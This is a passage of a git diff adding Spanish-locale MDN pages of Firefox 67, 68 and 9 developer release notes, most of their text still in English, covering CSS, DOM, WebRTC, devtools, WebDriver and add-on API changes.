+ <li>The <code><a href="/en-US/docs/Web/CSS/@media/prefers-color-scheme">prefers-color-scheme</a></code> media feature is now supported ({{bug(1494034)}}).</li>
+ <li>Custom {{cssxref("cursor")}}s of greater than 32px in size are now disallowed, to mitigate potential malware uses of large cursors ({{bug(1445844)}}).</li>
+</ul>
+
+<h4 id="Removals_2">Removals</h4>
+
+<ul>
+ <li>Use of the proprietary {{cssxref("-moz-binding")}} property is now restricted to chrome and UA-stylesheets ({{bug(1523712)}}).</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>{{jsxref("String.prototype.matchAll")}} has been implemented and enabled by default ({{bug(1435829)}}, {{bug(1531830)}}).</li>
+ <li>Support for the dynamic module {{jsxref("Statements/import", "import()", "#Dynamic_Imports")}} proposal is now available by default ({{bug(1517546)}}).</li>
+ <li>The <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Hashbang_comments">hashbang grammar</a> proposal is now implemented ({{bug(1519097)}}).</li>
+</ul>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The default value for {{domxref("Response.statusText")}} is now <code>""</code> ({{bug(1508996)}}).</li>
+ <li>The default value for the {{domxref("VTTCue")}} interface's <code>positionAlign</code> property is now auto ({{bug(1528420)}}).</li>
+ <li>User gestures are now preserved for rejected calls to {{domxref("Document.requestStorageAccess")}}, as well as fulfilled calls ({{bug(1522912)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<ul>
+ <li>CSS transition ({{bug(1530239)}}) and animation ({{bug(1531605)}}) events now fire on disabled (e.g. form) elements.</li>
+ <li>{{domxref("InputEvent.data")}} and {{domxref("InputEvent.dataTransfer")}} have been implemented ({{bug("998941")}}).</li>
+ <li>The <code>insertFromPasteAsQuotation</code> {{domxref("InputEvent.inputType")}} value is now supported ({{bug(1532527)}}).</li>
+</ul>
+
+<h4 id="WorkersService_workers">Workers/Service workers</h4>
+
+<ul>
+ <li>Strict MIME type checks are now enforced on scripts imported by {{domxref("WorkerGlobalScope.importScripts()")}} ({{bug(1514680)}}).</li>
+</ul>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li><a href="https://code.videolan.org/videolan/dav1d">dav1d</a> is now the default media decoder for <a href="https://aomediacodec.github.io/av1-spec/av1-spec.pdf">AV1</a> (see for example {{bug(1533742)}} and {{bug(1535038)}}).</li>
+ <li>Calling {{domxref("RTCPeerConnection.addTrack()")}} without specifying any streams to which to add the new track now works as expected: it adds a streamless track to the connection. Each peer is responsible for managing the association between the track and any stream on its end ({{bug(1231414)}}).</li>
+ <li>The {{domxref("MediaDeviceInfo.groupId")}} property is now implemented ({{bug(1213453)}}). While it has existed in Firefox since Firefox 39, it did not actually gather related devices together into the same group IDs.</li>
+ <li>The {{domxref("RTCIceCandidate.usernameFragment")}} property is now implemented ({{bug(1490658)}}).</li>
+</ul>
+
+<h4 id="Canvas_and_WebGL">Canvas and WebGL</h4>
+
+<ul>
+ <li>The <code><a href="/en-US/docs/Web/API/EXT_float_blend">EXT_float_blend</a></code> WebGL extension has been enabled by default ({{bug(1535808)}}).</li>
+</ul>
+
+<h4 id="Removals_3">Removals</h4>
+
+<ul>
+ <li>The deprecated <code>ShadowRoot.getElementsByTagName</code>, <code>ShadowRoot.getElementsByTagNameNS</code>, and <code>ShadowRoot.getElementsByClassName</code> properties (part of Shadow DOM v0) have been removed ({{bug(1535438)}}).</li>
+ <li><code><a href="/en-US/docs/Web/API/Document/createEvent">Document.createEvent("TouchEvent")</a></code>, {{domxref("Document.createTouch()")}}, {{domxref("Document.createTouchList()")}}, and the <code>ontouch*</code> event handler properties have been disabled on desktop to improve web compatibility on websites where touch support is used for mobile detection ({{bug(1412485)}}). In such cases, websites have been seen to behave incorrectly or unexpectedly on touchscreen laptops.</li>
+</ul>
+
+<h3 id="Security">Security</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API">Notifications</a> are now only available in a <a href="/en-US/docs/Web/Security/Secure_Contexts">secure context</a> ({{bug(1429432)}}).</li>
+ <li>Firefox now blocks the loading of external protocol URLs in {{htmlelement("iframe")}}s ({{bug(1527882)}}).</li>
+</ul>
+
+<h3 id="WebDriver_conformance_(Marionette)">WebDriver conformance (Marionette)</h3>
+
+<h4 id="API_changes">API changes</h4>
+
+<ul>
+ <li>Made <code>WebDriver:SendAlertText</code> conformant to the <a href="https://w3c.github.io/webdriver/">WebDriver specification</a> ({{bug(1502360)}}).</li>
+</ul>
+
+<h4 id="Corrección_de_errores">Corrección de errores</h4>
+
+<ul>
+ <li><code>WebDriver:NewWindow</code> will no longer timeout because of <code>focus</code>-related inconsistencies across platforms ({{bug(1523234)}}).</li>
+</ul>
+
+<h4 id="Otros">Otros</h4>
+
+<ul>
+ <li>Both <code>WebDriver:ExecuteScript</code> and <code>WebDriver:ExecuteAsyncScript</code> now use <code>Promises</code> internally ({{bug(1398095)}}).</li>
+ <li><code>WebDriver:NewSession</code> returns Firefox's <code>BuildID</code> string as part of the capabilities object ({{bug(1525829)}}).</li>
+</ul>
+
+<h2 id="Changes_for_add-on_developers">Changes for add-on developers</h2>
+
+<h3 id="Cambios_en_API">Cambios en API</h3>
+
+<ul>
+ <li>Using the <code>proxy.settings.set()</code> method to change <code>{{WebExtAPIRef("types.BrowserSetting", "BrowserSetting")}}</code> values will throw an exception unless the extension was granted private window access by the user ({{bug(1525447)}}).</li>
+</ul>
+
+<h3 id="Cambios_en_manifiesto">Cambios en manifiesto</h3>
+
+<ul>
+ <li>A new manifest key, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/incognito">incognito</a>, defines the behavior of an extension in private browsing windows or tabs ({{bug(1511636)}}).</li>
+ <li>The <code>toolbar_field_highlight</code> setting controls the background color used to indicate the current selection of text in the URL bar ({{bug(1450114)}}).</li>
+ <li>The <code>toolbar_field_highlight_text</code> setting controls the text color used to indicate the current selection of text in the URL bar ({{bug(1450114)}}).</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/67/">Sitio de compatibilidad para Firefox 67</a></li>
+</ul>
+
+<h2 id="Versiones_anteriores">Versiones anteriores</h2>
+
+<p>{{Firefox_for_developers(66)}}</p>
diff --git a/files/es/mozilla/firefox/releases/68/index.html b/files/es/mozilla/firefox/releases/68/index.html
new file mode 100644
index 0000000000..4c2649dcd2
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/68/index.html
@@ -0,0 +1,233 @@
+---
+title: Firefox 68 for developers
+slug: Mozilla/Firefox/Releases/68
+translation_of: Mozilla/Firefox/Releases/68
+---
+<p>{{FirefoxSidebar}}</p>
+
+<p class="summary">This article provides information about the changes in Firefox 68 that will affect developers. Firefox 68 was released on July 9, 2019.</p>
+
+<h2 id="Changes_for_web_developers">Changes for web developers</h2>
+
+<h3 id="Developer_tools">Developer tools</h3>
+
+<h4 id="Browserweb_console">Browser/web console</h4>
+
+<ul>
+ <li>The Web console now shows <a href="/en-US/docs/Tools/Web_Console/Console_messages#CSS">more information about CSS warnings</a>, including a node list of the DOM elements that used the rule ({{bug(1093953)}}).</li>
+ <li>You can now filter content in the Web console using regular expressions ({{bug(1441079)}}).</li>
+ <li>The Browser console now allows you to show or hide messages from the content process by setting or clearing the checkbox labeled <em>Show Content Messages</em> ({{bug(1260877)}}).</li>
+</ul>
+
+<h4 id="JavaScript_debugger">JavaScript debugger</h4>
+
+<ul>
+ <li>You can now <a href="/en-US/docs/Tools/Debugger/How_to/Search#Searching_in_all_files">Search</a> in all files in the current project from the debugger by pressing <kbd>Shift</kbd> + <kbd>Ctrl</kbd> + <kbd>F</kbd> (Windows or Linux) or <kbd>Shift</kbd> + <kbd>Cmd</kbd> + <kbd>F</kbd> (macOS) ({{bug(1320325)}}).</li>
+</ul>
+
+<h4 id="Network_monitor">Network monitor</h4>
+
+<ul>
+ <li>The Network monitor <a href="/en-US/docs/Tools/Network_Monitor/request_list#Filtering_requests">request list</a> now allows you to block a specific URL ({{bug(1151368)}}).</li>
+ <li>You can now resend a network request without editing the method, URL, parameters, and headers, using the <a href="/en-US/docs/Tools/Network_Monitor/request_list#Context_menu">Resend</a> command on the context menu ({{bug(1422014)}}).</li>
+ <li>The context menu of the Network monitor <a href="/en-US/docs/Tools/Network_Monitor/request_details#Headers">Headers</a> tab now allows you to copy all or some of the header information to the clipboard in JSON format ({{bug(1442249)}}).</li>
+</ul>
+
+<h4 id="Page_inspector">Page inspector</h4>
+
+<ul>
+ <li>A button has been added to the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_CSS_rules">rules panel</a> of the Page inspector that allows you to toggle the display of any print media queries ({{bug(1534984)}}).</li>
+ <li>The <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_fonts">fonts panel</a> now includes a slider to modify <code>letter-spacing</code> ({{bug(1536237)}}).</li>
+ <li>A warning icon appears next to unsupported CSS properties or rules that have invalid values, to help you understand why certain styles are not being applied ({{bug(1306054)}}).</li>
+</ul>
+
+<h4 id="Storage_inspector">Storage inspector</h4>
+
+<ul>
+ <li>You can now <a href="/en-US/docs/Tools/Storage_Inspector#Local_storage_Session_storage">delete local and session storage</a> entries by selecting the item in the storage inspector and pressing the backspace key ({{bug(1522893)}}).</li>
+</ul>
+
+<h4 id="Other">Other</h4>
+
+<ul>
+ <li>The <a href="/en-US/docs/Tools/Accessibility_inspector">Accessibility Inspector</a> now includes a new <em>Check for issues</em> feature, which will include a number of audit tools to highlight accessibility problems on your web pages. The first available check is <em>contrast</em>, for highlighting color contrast problems.</li>
+ <li>The preference that controls the visibility of internal extensions (system add-ons and hidden extensions) on the <a href="/en-US/docs/Tools/about:debugging">about:debugging</a> page has been changed from <code>devtools.aboutdebugging.showSystemAddons</code> to <code>devtools.aboutdebugging.showHiddenAddons</code> ({{bug(1544372)}}).</li>
+ <li><a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive design mode</a> has been redesigned — the <em>Device Settings</em> dialog (device selection menu &gt; <em>Edit List...</em>) is now more intuitive and simpler to use ({{bug(1487857)}}).</li>
+</ul>
+
+<h4 id="Removals">Removals</h4>
+
+<ul>
+ <li>The "Enable add-on debugging" checkbox has been removed from the <a href="/en-US/docs/Tools/about:debugging">about:debugging</a> page ({{bug(1544813)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>The {{HTMLElement("track")}} element — represented by {{domxref("HTMLTrackElement")}} — now receives a {{domxref("HTMLTrackElement.cuechange_event", "cuechange")}} event in addition to the {{domxref("TextTrack")}} itself, if the text track is a contained by a media element ({{bug(1548731)}}).</li>
+ <li>{{htmlelement("link")}} elements support the <code>disabled</code> attribute again, albeit with different behavior. When <code>disabled</code> is set on a <code>&lt;link&gt;</code> element along with <code>rel="stylesheet"</code>, the referenced stylesheet is not loaded during page load, and will be loaded on demand when the <code>disabled</code> attribute is changed to <code>false</code> or removed ({{bug(1281135)}}).</li>
+</ul>
+
+<h4 id="Removals_2"> Removals</h4>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/meta">&lt;meta http-equiv="set-cookie"&gt;</a></code> is no longer supported ({{bug(1457503)}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Scroll_Snap">CSS Scroll Snapping</a> has been updated to the latest version of the specification ({{bug(1312163)}}) and ({{bug(1544136)}}), this includes:
+
+  <ul>
+   <li>The <code>scroll-padding</code> properties ({{bug(1373832)}})</li>
+   <li>The <code>scroll-margin</code> properties ({{bug(1373833)}})</li>
+   <li>{{CSSxRef("scroll-snap-align")}} ({{bug(1373835)}})</li>
+  </ul>
+ </li>
+ <li>The {{CSSxRef("-webkit-line-clamp")}} property has been implemented for compatibility with other browsers ({{bug(866102)}}).</li>
+ <li>Support has been added for the {{CSSxRef("::marker")}} pseudo-element ({{bug(205202)}}) and animation for <code>::marker</code> pseudos ({{bug(1538618)}})</li>
+ <li>We changed {{CSSxRef("currentColor")}} to be a computed value (except for the {{cssxref("color")}} property)  ({{bug(760345)}}).</li>
+ <li>Support has been fixed for the <code>ch</code> length unit so it now matches the spec (fallback for no '0' glyph, vertical metrics) ({{bug(282126)}})</li>
+ <li>The  {{CSSxRef("counter-set")}} property has been implemented. ({{bug(1518201)}}).</li>
+ <li>We now implement list numbering using a built-in "list-item" counter; this fixes list numbering bugs ({{bug(288704)}}).</li>
+ <li>Selector matching and parsing support has been implemented for <code><a href="/en-US/docs/Web/CSS/::part">::part()</a></code> ({{bug(1545430)}}) and ({{bug(1545425)}}).</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Transforms">CSS Transforms</a> are now supported in indirectly rendered things e.g.)  {{SVGElement("mask")}},  {{SVGElement("marker")}},  {{SVGElement("pattern")}},  {{SVGElement("clipPath")}} ({{bug(1323962)}}).</li>
+ <li>
+  <p>While we're keeping the prefixed versions of the various gradient properties ({{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("repeating-radial-gradient")}} available for compatibility reasons, we have revised how they're parsed so that they're handled much more like the non-prefixed versions. This means that certain existing styles won't work correctly.</p>
+
+  <p>In particular, the complicated syntax taking both an angle and a position will no longer work, and the <code>to</code> keyword in the <code>&lt;side-or-corner&gt;</code> parameter is not required for the prefixed gradient properties. You are encouraged to use the standard, non-prefixed gradient properties instead, as they're now widely supported ({{bug(1547939)}}).</p>
+ </li>
+</ul>
+
+<h4 id="Removals_3">Removals</h4>
+
+<ul>
+ <li>{{CSSxRef("scroll-snap-coordinate")}}, {{CSSxRef("scroll-snap-destination")}}, {{CSSxRef("scroll-snap-type-x")}} and {{CSSxRef("scroll-snap-type-y")}} have been removed.</li>
+ <li>The {{CSSxRef("scroll-snap-type")}} property has become a longhand, so the old shorthand syntax like <code>scroll-snap-type:mandatory</code> will stop working. See the <a href="https://www.fxsitecompat.com/en-CA/docs/2019/legacy-css-scroll-snap-syntax-support-has-been-dropped/">Firefox Site Compatability</a> note.</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>The new {{jsxref("BigInt")}} primitive is enabled by default ({{bug(1527902)}}).</li>
+</ul>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="CSS_Object_Model_(CSSOM)">CSS Object Model (CSSOM)</h4>
+
+<ul>
+ <li>The legacy {{domxref("CSSStyleSheet.rules", "rules")}} property and {{domxref("CSSStyleSheet.addRule", "addRule()")}} and {{domxref("CSSStyleSheet.removeRule", "removeRule()")}} methods have been added to the {{domxref("CSSStyleSheet")}} interface. These were introduced by Internet Explorer 9 and have never managed to quite be stamped out, so they have been added to improve compatibility with the small percentage of sites that still use them ({{bug(1545823)}}).</li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The <a href="/en-US/docs/Web/API/Visual_Viewport_API">Visual Viewport API</a> has now been enabled by default on Android ({{bug(1512813)}}). Adding this API to desktop versions of Firefox is being tracked in {{bug(1551302)}}.</li>
+ <li>The {{domxref("Window")}} feature <code><a href="/en-US/docs/Web/API/Window/open#noreferrer">noreferrer</a></code> is now supported; if specified, the new window's content is loaded without sharing the hostname, IP address, URL, or other identifying information about the host device ({{bug(1527287)}}).</li>
+ <li>The {{domxref("HTMLImageElement.decode", "decode()")}} method on <code>HTMLImageElement</code> is now implemented. This can be used to trigger loading and decoding of an image prior to adding it to the DOM ({{bug(1501794)}}).</li>
+ <li>{{domxref("XMLHttpRequest")}} has been updated to no longer accept the non-standard <code>moz-chunked-arraybuffer</code> value for {{domxref("XMLHttpRequest.responseType", "responseType")}}. Code still using it should be updated to <a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams#Consuming_a_fetch_as_a_stream">use the Fetch API as a stream</a> ({{bug(1120171)}}).</li>
+ <li><code>XMLHttpRequest</code> now outputs a warning to console if you perform a synchronous request while handling an {{domxref("Window.unload_event", "unload")}}, {{domxref("Window.beforeunload_event", "beforeunload")}}, or {{domxref("Window.pagehide_event", "pagehide")}} event ({{bug(980902)}}).</li>
+ <li>The {{domxref("Document.cookie", "cookie")}} property has moved from the {{domxref("HTMLDocument")}} interface to the {{domxref("Document")}} interface, allowing documents other than {{Glossary("HTML")}} to use cookies ({{bug(144795)}}).</li>
+ <li>The {{domxref("HTMLElement.focus()")}} and {{domxref("SVGElement.focus()")}} methods now accept an optional object that may contain a boolean <code>preventScroll</code> option specifying whether or not to block the browser from scrolling the newly-focused element into view ({{bug(1374045)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> no longer incorrectly sends a {{domxref("Window.resize_event", "resize")}} event until after the first frame is painted; this improves web compatibility with sites that don't expect this event to occur ({{bug(1528052)}}).</li>
+ <li>The dispatching of events for non-primary mouse buttons has been made to more closely follow the specification; the {{domxref("Element.click_event", "click")}} event is no longer sent when non-primary buttons are clicked, instead using {{domxref("Element.auxclick_event", "auxclick")}}. In addition, {{domxref("Element.dblclick_event", "dblclick")}} no longer fires for non-primary buttons ({{bug(1379466)}}).</li>
+ <li>The proprietary {{domxref("MouseEvent.mozPressure")}} property has been deprecated, and will now trigger a warning in the console ({{bug(1165211)}}).</li>
+</ul>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li>WebRTC has been updated to recognize that a <code>null</code> candidate passed into the {{domxref("RTCPeerConnection.icecandidate", "icecandidate")}} event handler, indicating the receipt of a candidate, instead indicates that there are no further candidates coming; when this happens the ICE gathering ({{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}) state reaches <code>complete</code> ({{bug(1318167)}}).</li>
+ <li>The {{domxref("RTCRtpReceiver")}} methods {{domxref("RTCRtpReceiver.getContributingSources", "getContributingSources()")}} and {{domxref("RTCRtpReceiver.getSynchronizationSources", "getSynchronizationSources()")}} now support video tracks; previously they only worked on audio ({{bug(1534466)}}).</li>
+ <li>The Web Audio API {{domxref("MediaStreamTrackAudioSourceNode")}} interface is now supported, as is the method {{domxref("AudioContext.createMediaStreamTrackSource()")}} ({{bug(1324548)}}).</li>
+ <li>{{domxref("RTCDataChannel.negotiated")}} is now implemented ({{bug(1529695)}}).</li>
+ <li>The {{domxref("MediaStreamAudioSourceNode.MediaStreamAudioSourceNode", "MediaStreamAudioSourceNode()")}} constructor has been updated to match the current specification's definition that the "first audio track" in the stream is the track whose ID comes first in lexicographical order ({{bug(1324548)}}).</li>
+ <li>
+  <p>{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} may no longer be used from a non-secure context; attempting to do so now throws a <code>NotAllowedError</code> exception. Secure contexts are those loaded using HTTPS, those located using the <code>file:///</code> scheme, and those loaded from <code>localhost</code>. For now, if you must, you can re-enable the ability to perform insecure calls to <code>getUserMedia()</code> by setting the preference <code>media.getusermedia.insecure.enabled</code> to <code>true</code> ({{bug(1335740)}}).</p>
+
+  <div class="blockIndicator note">
+  <p><strong>Note:</strong> In the future, Firefox will also remove the {{domxref("navigator.mediaDevices")}} property on insecure contexts, preventing all access to the {{domxref("MediaDevices")}} APIs. <strong>This is already the case in Nightly builds.</strong></p>
+  </div>
+ </li>
+</ul>
+
+<h4 id="Removals_4">Removals</h4>
+
+<ul>
+ <li>Removed the non-standard {{DOMxRef("XMLDocument.load()")}} method ({{bug(332175)}}).</li>
+ <li>Removed the non-standard {{DOMxRef("XMLDocument.async")}} property ({{bug(1328138)}}).</li>
+ <li>The {{domxref("RTCIceCredentialType")}} <code>token</code> value has been removed ({{bug(1529595)}}).</li>
+</ul>
+
+<h3 id="HTTP">HTTP</h3>
+
+<ul>
+ <li>The <a href="/en-US/docs/Web/HTTP">HTTP</a> {{HTTPHeader("Clear-Site-Data")}} header no longer supports the <code>executionContexts</code> directive. This was removed due to problems with interactions between interconnections among different kinds of data at different points in the navigation process and the way the specification is designed. It <a href="https://github.com/w3c/webappsec-clear-site-data/issues/59">has been proposed</a> that this directive be removed from the specification for this reason, among others ({{bug(1548034)}}).</li>
+</ul>
+
+<h4 id="Removals_5">Removals</h4>
+
+<ul>
+ <li>The {{HTTPHeader("Content-Security-Policy")}} directive <code>require-sri-for</code> is no longer supported due to concerns about its standardization status. It was previously available only behind a preference, which was off by default ({{bug(1386214)}}).</li>
+</ul>
+
+<h3 id="Security">Security</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="WebDriver_conformance_(Marionette)">WebDriver conformance (Marionette)</h3>
+
+<h4 id="Bug_fixes">Bug fixes</h4>
+
+<ul>
+ <li>If <code>WebDriver:SwitchToWindow</code> changes the selection to a different window it now waits for its <code>focus</code> and <code>activate</code> events before returning ({{bug(1335085)}}).</li>
+ <li>Fixed the <code>TypeError: this.tabModal is null</code> failure, which sometimes appeared when interacting with modal dialogs or user prompts ({{bug(1538782)}})</li>
+</ul>
+
+<h4 id="Other_2">Other</h4>
+
+<ul>
+ <li>Disabled the feature to force unloading background tabs on low memory conditions, to prevent top-level browser contexts from magically disappearing ({{bug(1553748)}}).</li>
+ <li>Disabled priviledged content processes that caused HTTP authentication dialogs not to appear when navigating to a website after opening a new tab ({{bug(1558763)}}).</li>
+</ul>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="Changes_for_add-on_developers">Changes for add-on developers</h2>
+
+<h3 id="API_changes">API changes</h3>
+
+<ul>
+ <li>The The <code>proxy.register()</code> and <code>proxy.unregister()</code> functions have been deprecated and will be removed from Firefox 71 ({{bug(1545811)}}).</li>
+ <li>When an add-on attempts to add a bookmark folder to the root folder, the resulting error message is now much more intuitive ({{bug(1512171)}}).</li>
+ <li>The promise returned by <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/duplicate">browser.tabs.duplicate()</a></code> now resolves immediately, before the tabs are completely loaded, to improve performance ({{bug(1394376)}}).</li>
+ <li>Support has been added for chrome.storage.managed, allowing web extension settings to be implemented via enterprise policy ({{bug(1230802)}}).</li>
+ <li>There is now a Group Policy option to blacklist <em>all</em> extensions except the ones that have been whitelisted ({{bug(1522823)}}).</li>
+</ul>
+
+<h3 id="Manifest_changes">Manifest changes</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/68/">Site compatibility for Firefox 68</a></li>
+</ul>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers(67)}}</p>
diff --git a/files/es/mozilla/firefox/releases/9/index.html b/files/es/mozilla/firefox/releases/9/index.html
new file mode 100644
index 0000000000..4e976f6262
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/9/index.html
@@ -0,0 +1,237 @@
+---
+title: Firefox 9 for developers
+slug: Mozilla/Firefox/Releases/9
+tags:
+  - Firefox
+  - Firefox 9
+  - Gecko 9
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Firefox/Releases/9
+---
+<div><section class="Quick_links" id="Quick_Links">
+  <ol>
+    <li class="toggle">
+        <details>
+            <summary>Notas de la Versión para Desarrolladores de Firefox</summary>
+            <ol>
+              <li><a href="/es/docs/Mozilla/Firefox/Releases">Notas de la Versión para Desarrolladores de Firefox</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Complementos</summary>
+            <ol>
+              <li><a href="/es/Add-ons/WebExtensions">Extensiones del navegador</a></li>
+              <li><a href="/es/Add-ons/Themes">Temas</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Firefox por dentro</summary>
+            <ol>
+              <li><a href="/es/docs/Mozilla/">Proyecto Mozilla (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Gecko">Gecko</a></li>
+              <li><a href="/es/docs/Mozilla/Firefox/Headless_mode">Headless mode</a></li>
+              <li><a href="/es/docs/Mozilla/JavaScript_code_modules">Modulos de código JavaScript (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/js-ctypes">JS-ctypes (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/MathML_Project">Proyecto MathML</a></li>
+              <li><a href="/es/docs/Mozilla/MFBT">MFBT (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Projects">Proyectos Mozilla (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Preferences">Sistema de Preferencias (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/WebIDL_bindings">Ataduras WebIDL (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Tech/XPCOM">XPCOM</a></li>
+              <li><a href="/es/docs/Mozilla/Tech/XUL">XUL</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Crear y contribuir</summary>
+            <ol>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Build_Instructions">Instrucciones para la compilación</a></li>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options">Configurar las opciones de compilación</a></li>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Build_Instructions/How_Mozilla_s_build_system_works">Cómo funciona el sistema de compilación (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Código fuente de Mozilla</a></li>
+              <li><a href="/es/docs/Mozilla/Localization">Localización</a></li>
+              <li><a href="/es/docs/Mozilla/Mercurial">Mercurial (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/QA">Garantía de Calidad</a></li>
+              <li><a href="/es/docs/Mozilla/Using_Mozilla_code_in_other_projects">Usar Mozilla en otros proyectos (Inglés)</a></li>
+            </ol>
+        </details>
+    </li>
+  </ol>
+</section></div>
+
+<p>Firefox 9 was released for Windows on December 20, 2011. Mac and Linux version 9.0.1, which fixed a crashing bug discovered at the last minute, were released on December 21, 2011.</p>
+
+<h2 id="Changes_for_web_developers">Changes for web developers</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>The <code>value</code> attribute of <a href="/es/docs/Web/HTML/Elemento/li" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>&lt;li&gt;</code></a> now can be negative as specified in HTML5. Previously negative values were converted to 0.</li>
+ <li>You can now <a href="/en-US/docs/Using_HTML5_audio_and_video#Specifying_playback_range" title="en-US/docs/Using_HTML5_audio_and_video#Specifying_playback_range">specify the start and stop time of media</a> in the URI of the media when using <a href="/es/docs/Web/HTML/Elemento/audio" title="El elemento audio se usa para insertar contenido de audio en un documento HTML o XHTML. El elemento audio se agregó como parte de HTML 5."><code>&lt;audio&gt;</code></a> and <a href="/es/docs/Web/HTML/Elemento/video" title="El elemento video se utiliza para incrustar vídeos en un documento HTML o XHTML."><code>&lt;video&gt;</code></a> elements.</li>
+ <li><a href="/es/docs/Web/HTML/Elemento/input" title="El elemento HTML &lt;input> se usa para crear controles interactivos para formularios basados en la web, que reciban datos del usuario. La forma en que &lt;input> funciona varía considerablemente dependiendo del valor de su atributo type."><code>&lt;input&gt;</code></a> and <a href="/es/docs/Web/HTML/Elemento/textarea" title="El elemento HTML &lt;textarea> representa un control para edición muti-línea de texto plano."><code>&lt;textarea&gt;</code></a> elements <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms#Controlling_the_spellchecker_language" title="en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms#Controlling_the_spellchecker_language">now respect the value of the <code>lang</code> attribute</a> when invoking the spell checker.</li>
+ <li>Firefox on Android now lets users snap photos with their phone's camera without leaving the browser when the <a href="/es/docs/Web/HTML/Elemento/input" title="El elemento HTML &lt;input> se usa para crear controles interactivos para formularios basados en la web, que reciban datos del usuario. La forma en que &lt;input> funciona varía considerablemente dependiendo del valor de su atributo type."><code>&lt;input&gt;</code></a> element is used with <code>type="file"</code> and <code>accept="image/*"</code>.</li>
+ <li>Windows Vista style PNG ICO images are now supported.</li>
+ <li>Drawing images that use the <a href="/en-US/docs/HTML/CORS_settings_attributes" title="CORS settings attributes"><code>crossorigin</code></a> attribute to request CORS access no longer incorrectly <a href="/en-US/docs/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en-US/docs/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">taint the canvas</a> when CORS is granted.</li>
+ <li>The value of the <code><a href="/es/docs/Web/HTML/Element/td#attr-rowspan">rowspan</a></code> attribute may now be as large as 65,534, up from 8190.</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>The <a href="/es/docs/Web/CSS/font-stretch" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>font-stretch</code></a> property is now supported.</li>
+ <li>The <a href="/es/docs/Web/CSS/columns" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>columns</code></a> property is now supported, with the <code>-moz</code> prefix. This is a shorthand for the following properties: <a href="/es/docs/Web/CSS/column-width" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>column-width</code></a> and <a href="/es/docs/Web/CSS/column-count" title="La propiedad CSS column-count define el número de columnas de un elemento."><code>column-count</code></a>.</li>
